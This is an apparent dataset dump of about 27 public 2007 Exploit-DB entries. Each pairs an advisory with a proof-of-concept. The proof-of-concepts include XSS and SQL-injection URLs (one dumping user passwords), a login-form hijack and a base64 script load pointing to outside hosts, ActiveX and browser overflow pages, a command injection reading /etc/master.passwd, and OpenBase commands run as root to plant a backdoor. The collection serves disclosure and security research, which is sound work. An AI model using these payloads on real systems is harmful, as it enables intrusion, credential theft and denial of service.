QLWD/code_shield huggingface dataset:
标题: ComponentOne FlexGrid 7.1 - ActiveX Control Multiple Buffer Overflow Vulnerabilities EDB-ID: 30772 CVE: 2007-6028 类型: REMOTE 平台: WINDOWS 发布日期: 2007-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/26467/info

ComponentOne FlexGrid ActiveX Control is prone to multiple stack-based buffer-overflow vulnerabilities because the application fails to adequately check boundaries on user-supplied input.

An attacker can exploit these issues to cause denial denial-of-service conditions and possibly to execute arbitrary code, but this has not been confirmed.

ComponentOne FlexGrid 7.1 Light is vulnerable; other versions may also be affected. 

<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
     var s = "AAAA";

     while (s.length < 262145) s=s+s;

     var obj = new ActiveXObject("VSFlexGrid.VSFlexGridL");

     obj.Text = s;
     obj.EditSelText = s;
     obj.EditText = s;
     obj.CellFontName = s;
   }
  </script>

 </head>
 <body onload="JavaScript: return Check();" />
</html> URL: https://www.exploit-db.com/exploits/30772
标题: Liferay Portal 4.1 Login Script - Cross-Site Scripting EDB-ID: 30774 CVE: 2007-6055 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/26470/info

Liferay Portal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Liferay Portal 4.1.0 and 4.1.1 are vulnerable; other versions may also be affected.

http://www.example.com/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http://www.example2.com%22%3C/script%3E%3Ca%20b=%22c URL: https://www.exploit-db.com/exploits/30774
标题: JiRo's Banner System 2.0 - 'login.asp' Multiple SQL Injections EDB-ID: 30775 CVE: 2007-6091 类型: WEBAPPS 平台: ASP 发布日期: 2007-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/26479/info

JiRo's Banner System is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

JiRo's Banner System 2.0 is vulnerable; other versions may also be affected.


The following proof-of-concept login and password examples are available:

Login: anything' OR 'x'='x
Password: anything' OR 'x'='x URL: https://www.exploit-db.com/exploits/30775
标题: Rigs of Rods 0.33d - 'Vehicle Name' Buffer Overflow EDB-ID: 30779 CVE: 2007-6041 类型: DOS 平台: MULTIPLE 发布日期: 2007-11-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/26502/info

Rigs of Rods is prone to a remote buffer-overflow because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker could exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial of service.

This issue affects Rigs of Rods 0.33d and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30779.zip URL: https://www.exploit-db.com/exploits/30779
标题: ISPmanager 4.2.15 - Responder Privilege Escalation EDB-ID: 30780 CVE: 2007-6182 类型: LOCAL 平台: LINUX 发布日期: 2007-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/26503/info

ISPmanager is prone to a local privilege-escalation vulnerability.

A local attacker can exploit this issue to gain elevated privileges on the affected computer. A successful exploit will lead to the complete compromise of the affected computer.

ISPmanager 4.2.15.1 is reported vulnerable; other versions may be affected as well.

/usr/local/ispmgr/sbin/responder /tmp/ '` cat /etc/master.passwd1>&2 `' 2>&1 URL: https://www.exploit-db.com/exploits/30780
标题: Apple Mac OSX 10.5.x - Mail Arbitrary Code Execution EDB-ID: 30781 CVE: 2007-6165 类型: REMOTE 平台: OSX 发布日期: 2007-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/26510/info

Apple Mac OS X is prone to a vulnerability that can allow arbitrary code to run. This issue affects the Mail application when handling email attachments.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. This will compromise the application and possibly the underlying operating system.

This issue affects Mac OS X 10.5.

NOTE: This vulnerability may be related to CVE-2007-0395 documented in BID 16907 (Apple Mac OS X Security Update 2006-001 Multiple Vulnerabilities). Although the issues seem similar in nature, this may not be the very same underlying vulnerability. We will update this BID as more information emerges.

UPDATE (November 21, 2007): Reports indicate that this issue occurs because of an error in the application's quarantine feature. We have not confirmed this information.

UPDATE (December 17, 2007): This vulnerability stems from an unspecified implementation issue in the Launch Services application.
https://www.securityfocus.com/bid/16907 

/bin/ls -al
echo
echo
echo "heise Security: You are vulnerable."
echo
echo URL: https://www.exploit-db.com/exploits/30781
标题: LIVE555 Media Server 2007.11.1 - ParseRTSPRequestString Remote Denial of Service EDB-ID: 30776 CVE: 2007-6036 类型: DOS 平台: LINUX 发布日期: 2007-11-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/26488/info

LIVE555 Media Server is prone to a remote denial-of-service vulnerability because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to crash the application, resulting in denial-of-service conditions.

LIVE555 Media Server 2007.11.01 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30776.zip URL: https://www.exploit-db.com/exploits/30776
标题: CONTENTCustomizer 3.1 - 'Dialog.php' Unauthorized Access EDB-ID: 30764 CVE: 2007-5817 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/26437/info

CONTENTCustomizer is prone to an unauthorized access vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker could exploit this issue to delete arbitrary files, rename files, or reset the content of certain files.

CONTENTCustomizer 3.1mp is vulnerable; other versions may also be affected.

http://www.example.com/dialog.php?action=del&doc='+pagename // Delete
http://www.example.com/dialog.php?action=delbackup&doc='+pagename // Delete Backup
http://www.example.com/dialog.php?action=res&doc='+pagename // Reset
http://www.example.com/dialog.php?action=ren&doc='+pagename // Rename URL: https://www.exploit-db.com/exploits/30764
标题: AIDA Web - Frame.HTML Multiple Unauthorized Access Vulnerabilities EDB-ID: 30770 CVE: 2007-6056 类型: WEBAPPS 平台: CGI 发布日期: 2007-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/26464/info

AIDA Web is prone to multiple unauthorized access vulnerabilities.

An attacker could exploit these issues to obtain potentially sensitive information that could aid in further attacks. 

http://www.example.com/CGI-Bin/frame.html?Mehr=xxx
http://www.example.com/CGI-Bin/frame.html?Mehr=xxx&SUPER=x URL: https://www.exploit-db.com/exploits/30770
标题: Apple Safari 3.0.x for Windows - 'Document.Location.Hash' Buffer Overflow EDB-ID: 30767 CVE: 2007-4812 类型: DOS 平台: WINDOWS 发布日期: 2007-06-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/26448/info

Safari for Windows is prone to a buffer overflow that occurs when an attacker entices a victim to view a maliciously crafted webpage.

A remote attacker may exploit this issue to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. 

<html> <body> <script> var maxbuf = 65474; buff = "A"; for (i=0;i<maxbuf;i++) { buff = buff+"A"; } document.location.hash = buff+"BOW! "; alert(document.location.hash); </script> </body> </html> URL: https://www.exploit-db.com/exploits/30767
标题: WebEx GPCContainer - Memory Access Violation Multiple Denial of Service Vulnerabilities EDB-ID: 30761 CVE: 2007-6005 类型: DOS 平台: WINDOWS 发布日期: 2007-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/26430/info

WebEx is prone to multiple remote denial-of-service vulnerabilities.

Attackers can exploit these issues to crash applications that use the ActiveX control, denying service to legitimate users.

<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
        var obj = new ActiveXObject("GpcContainer.GpcContainer.1");

        obj.InitParam("A");
}
  </script>

 </head>
 <body onLoad="JavaScript: return Check();">

 </body>

</html> URL: https://www.exploit-db.com/exploits/30761
标题: IBM Websphere Application Server 5.1.1 - WebContainer HTTP Request Header Security EDB-ID: 30768 CVE: 2007-5944 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/26457/info

IBM WebSphere Application Server is prone to a security weakness regarding an HTTP request header. The software fails to sanitize a certain HTTP header when the data is redirected to an error message.

An attacker may exploit this issue to steal cookie-based authentication credentials and launch other attacks. 

var req:LoadVars=new LoadVars();
req.addRequestHeader("Expect",
"<script>alert('gotcha!')</script>");
req.send("http://www.target.site/","_blank","GET"); URL: https://www.exploit-db.com/exploits/30768
标题: X7 Chat 2.0.4 - 'upgradev1.php' Cross-Site Scripting EDB-ID: 30758 CVE: 2007-5982 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/26417/info
 
X7 Chat is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.
 
These issues affect X7 Chat 2.0.4; other versions may be also vulnerable. 

http://www.example.com/upgradev1.php?INSTALL_X7CHATVERSION=<script>alert(123);</script> URL: https://www.exploit-db.com/exploits/30758
标题: GNU TAR 1.15.91 / CPIO 2.5.90 - 'safer_name_suffix' Remote Denial of Service EDB-ID: 30766 CVE: 2007-4476 类型: DOS 平台: LINUX 发布日期: 2007-11-14 漏洞利用脚本: // source: https://www.securityfocus.com/bid/26445/info

GNU's tar and cpio utilities are prone to a denial-of-service vulnerability because of insecure use of the 'alloca()' function.

Successfully exploiting this issue allows attackers to crash the affected utilities and possibly to execute code, but this has not been confirmed.

GNU tar and cpio utilities share the same vulnerable code and are both affected. Other utilities sharing this code may also be affected.

/*
 * paxlib's safer_name_suffix() stack overflow reproducer.
 */

#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <sys/resource.h>
#include <libtar.h>

int main(int ac, const char *av[])
{
 struct rlimit r;
 unsigned count, i;
 char *s;
 TAR *t;

 if (ac != 2)
  error(1, 0, "exactly two arguments expected");

 if (getrlimit(RLIMIT_STACK, &r))
  error(1, errno, "getrlimit RLIMIT_STACK");

 count = r.rlim_cur / 3 + 1;
 if (!(s = malloc(count * 3 + 1)))
  error(1, errno, "malloc: %u", count * 3 + 1);

 for (i = 0; i < count; ++i)
  memcpy(s + i * 3, "../", 3);
 s[count * 3] = '\0';

 if (tar_open(&t, av[1], NULL, O_WRONLY|O_CREAT, 0644, TAR_GNU))
  error(1, errno, "tar_open: %s", av[1]);

 if (tar_append_file(t, "/dev/null", s))
  error(1, errno, "tar_append_file: %s", av[1]);

 if (tar_close(t))
  error(1, errno, "tar_close");

 return 0;
} URL: https://www.exploit-db.com/exploits/30766
标题: VTLS Web Gateway 48.1 - 'Searchtype' Cross-Site Scripting EDB-ID: 30759 CVE: 2007-5993 类型: WEBAPPS 平台: CGI 发布日期: 2007-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/26419/info

Web Gateway is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects versions prior to Web Gateway 48.1.1. 

http://somevtlsweb.net/cgi-bin/vtls/vtls.web.gateway?authority=1&searchtype=subject%22%3E%3Ch1%3E%3Cmarquee%3EXSS%20bug%3C/marquee%3E%3C/h1%3E%3C!--&kind=ns&conf=080104+++++++ URL: https://www.exploit-db.com/exploits/30759
标题: KDE Konqueror 3.5.6 - Cookie Handling Denial of Service EDB-ID: 30763 CVE: 2007-6000 类型: DOS 平台: LINUX 发布日期: 2007-11-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/26435/info

KDE Konqueror is prone to a remote denial-of-service vulnerability because it fails to handle overly large cookies.

An attacker may exploit this vulnerability to cause Konqueror to crash, resulting in denial-of-service conditions.

Konqueror 3.5.6 is vulnerable; other versions may also be affected.

<?php
ini_set("memory_limit","200M");
setcookie("hi_fox", str_repeat("A",19999999));
?> URL: https://www.exploit-db.com/exploits/30763
标题: AutoIndex PHP Script 2.2.2 - 'PHP_SELF index.php' Cross-Site Scripting EDB-ID: 30754 CVE: 2007-5983 类型: WEBAPPS 平台: PHP 发布日期: 2007-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/26411/info

AutoIndex PHP Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AutoIndex PHP Script 2.2.2 is vulnerable; other versions may also be affected.

http://www.example.com/AutoIndex/index.php/"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/30754
标题: F5 FirePass 4100 SSL VPN - 'Download_Plugin.php3' Cross-Site Scripting EDB-ID: 30755 CVE: 2007-5979 类型: REMOTE 平台: HARDWARE 发布日期: 2007-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/26412/info

F5 FirePass 4100 SSL VPN devices are prone to a cross-site scripting vulnerability because they fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and to launch other attacks.

F5 FirePass 4100 SSL VPNs running these firmware versions are vulnerable:

5.4 through 5.5.2
6.0
6.0.1

https://www.example.com/download_plugin.php3?js=&backurl=Ij48c2NyaXB0IHNyYz0iaHR0cDovL3d3dy5ldmlsLmZvby94c3MiPjwvc2NyaXB0PjxhIGhyZWY9Ig==
https://www.example.com/download_plugin.php3?js=&backurl=Ij48dGV4dGFyZWE+SFRNTCBpbmplY3Rpb24gdGVzdDwvdGV4dGFyZWE+PGEgaHJlZj0i URL: https://www.exploit-db.com/exploits/30755
标题: PHP 5.2.5 - Multiple GetText functions Denial of Service Vulnerabilities EDB-ID: 30760 CVE: 2007-6039 类型: DOS 平台: PHP 发布日期: 2007-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/26428/info

PHP is prone to multiple denial-of-service vulnerabilities because it fails to perform adequate boundary checks on user-supplied input.

Attackers can exploit these issues to cause denial-of-service conditions. Given the nature of these issues, attackers may also be able to execute arbitrary code, but this has not been confirmed.

PHP 5.2.5 is vulnerable; other versions may also be affected. 

Proof of concept example :

root@unsafebox:/# uname -a
Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 
i686 GNU/Linux

root@unsafebox:/# php -v
PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies

root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 
'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 
'dngettext("hi",str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 
'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped) URL: https://www.exploit-db.com/exploits/30760
标题: X7 Chat 2.0.4 - 'frame.php' Cross-Site Scripting EDB-ID: 30757 CVE: 2007-5982 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/26417/info

X7 Chat is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal potentially sensitive information and launch other attacks.

These issues affect X7 Chat 2.0.4; other versions may be also vulnerable. 

http://www.example.com/sources/frame.php?room=<script>alert(123);</script> URL: https://www.exploit-db.com/exploits/30757
标题: AutoIndex PHP Script 2.2.2/2.2.3 - 'index.php' Denial of Service EDB-ID: 30753 CVE: 2007-5984 类型: DOS 平台: PHP 发布日期: 2007-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/26410/info

AutoIndex PHP Script is prone to a remote denial-of-service vulnerability because the application fails to properly handle unexpected input.

Successfully exploiting this issue allows remote attackers to consume excessive CPU resources, potentially denying service to legitimate users.

AutoIndex PHP Script 2.2.2 and 2.2.3 are vulnerable to this issue; prior versions may also be affected.

http://www.example.com/AutoIndex/index.php?dir=%00 URL: https://www.exploit-db.com/exploits/30753
标题: XOOPS 2.0.17.1 Mylinks Module - 'Brokenlink.php' SQL Injection EDB-ID: 30748 CVE: 2007-5978 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/26392/info

Xoops Mylinks module is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Exploiting this vulnerability could permit remote attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks.

Xoops 2.0.17.1 is vulnerable; other versions may also be affected. 

http://www.example.com.com/modules/mylinks/brokenlink.php?lid=1%20OR%201=2 URL: https://www.exploit-db.com/exploits/30748
标题: OpenBase 10.0.x - Remote Buffer Overflow / Remote Command Execution EDB-ID: 30742 CVE: 2007-5926 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/26347/info

OpenBase is prone to a buffer-overflow vulnerability and multiple remote command-execution vulnerabilities.

An attacker could exploit these issues to execute arbitrary code or commands with superuser privileges. Successfully exploiting these issues will facilitate in the complete compromise of affected computers. 

1. call AsciiBackup('\`id\`')
results in commands being run as root.

desktop:/tmp kfinisterre$ tail -f /tmp/isql_messages

OpenBase ISQL version 8.0 for MacOS X
Copyright (c) 1993-2003 OpenBase International. Ltd.
All Rights Reserved.

Using database 'WOMovies' on host 'localhost'

Could not write file:uid=0(root) gid=0(wheel) groups=0(wheel)/WOMovies.bck

2. call GlobalLog("../../../path/to/file", "\n user input goes here \n")
results in root owned files being created. Combine with above for an
easy backdoor.

openbase 1> call GlobalLog("../../../../../../etc/periodic/daily/600"
, "\n/usr/bin/id > /tmp/file\n")
openbase 2> go
Data returned... calculating column widths

return_0
- ----------
Success
- ----------
1 rows returned - 0.039 seconds (printed in 0.039 seconds)
openbase 1>  call AsciiBackup('`chmod +x /etc/periodic/daily/600.msg;
/usr/sbin/periodic daily`')
openbase 2> go
Data returned... calculating column widths

return_0
- ----------
Failure
- ----------
1 rows returned - 1.825 seconds (printed in 1.826 seconds)
openbase 1>

3. select aaaaaaaaaaaaaaaaaaaa... from aaaaaaaaaaaaaaaaaaa...
results in zone_free() issues referencing 0x61616161

4. call OEMLicenseInstall("`/usr/bin/id>/tmp/aaax`","`/usr/bin/id>/tmp/bbbx
`","`/usr/bin/id>/tmp/ddddx`","`/usr/bin/id>/tmp/cdfx`")
results in commands being run as root URL: https://www.exploit-db.com/exploits/30742
标题: Miro Broadcast Machine 0.9.9 - 'login.php' Cross-Site Scripting EDB-ID: 30751 CVE: 2007-3694 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/26407/info

Miro Broadcast Machine is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects Broadcast Machine 0.9.9.9; other versions may also be affected.

<form action="http://www.example.com/login.php" method="post"><input type="text" name="username" value='"<script>alert(1)</script>'><input type="submit"></form> URL: https://www.exploit-db.com/exploits/30751
标题: Computer Associates SiteMinder - Web Agent Smpwservices.FCC Cross-Site Scripting EDB-ID: 30746 CVE: 2007-5923 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/26375/info

Computer Associates SiteMinder Web Agent is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

We were not told which versions are affected. We will update this BID as more information emerges. 

https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=[XSS] https://www.example.com/siteminderagent/forms/smpwservices.fcc?SMAUTHREASON=1)alert(document.cookie);}function+drop(){if(0 URL: https://www.exploit-db.com/exploits/30746
标题: E-Vendejo 0.2 - 'Articles.php' SQL Injection EDB-ID: 30738 CVE: 2007-5951 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/26330/info

E-Vendejo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

E-Vendejo 0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/articles.php?lingvo=ca&id=10 UNION ALL SELECT null,null,concat(usr_login,0x23,usr_pass),null,null FROM usuaris/* URL: https://www.exploit-db.com/exploits/30738
标题: i-Gallery 3.4 - 'igallery.asp' Remote Information Disclosure EDB-ID: 30743 CVE: 2007-5776 类型: WEBAPPS 平台: ASP 发布日期: 2007-11-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/26348/info

i-Gallery is prone to a remote information-disclosure vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized remote user to view arbitrary local files in the context of the webserver process. Information obtained may aid in further attacks.

i-Gallery 3.4 is vulnerable to this issue; other versions may also be vulnerable. 

http://www.example.com/gallery/igallery.asp?d=%5c../../%5c URL: https://www.exploit-db.com/exploits/30743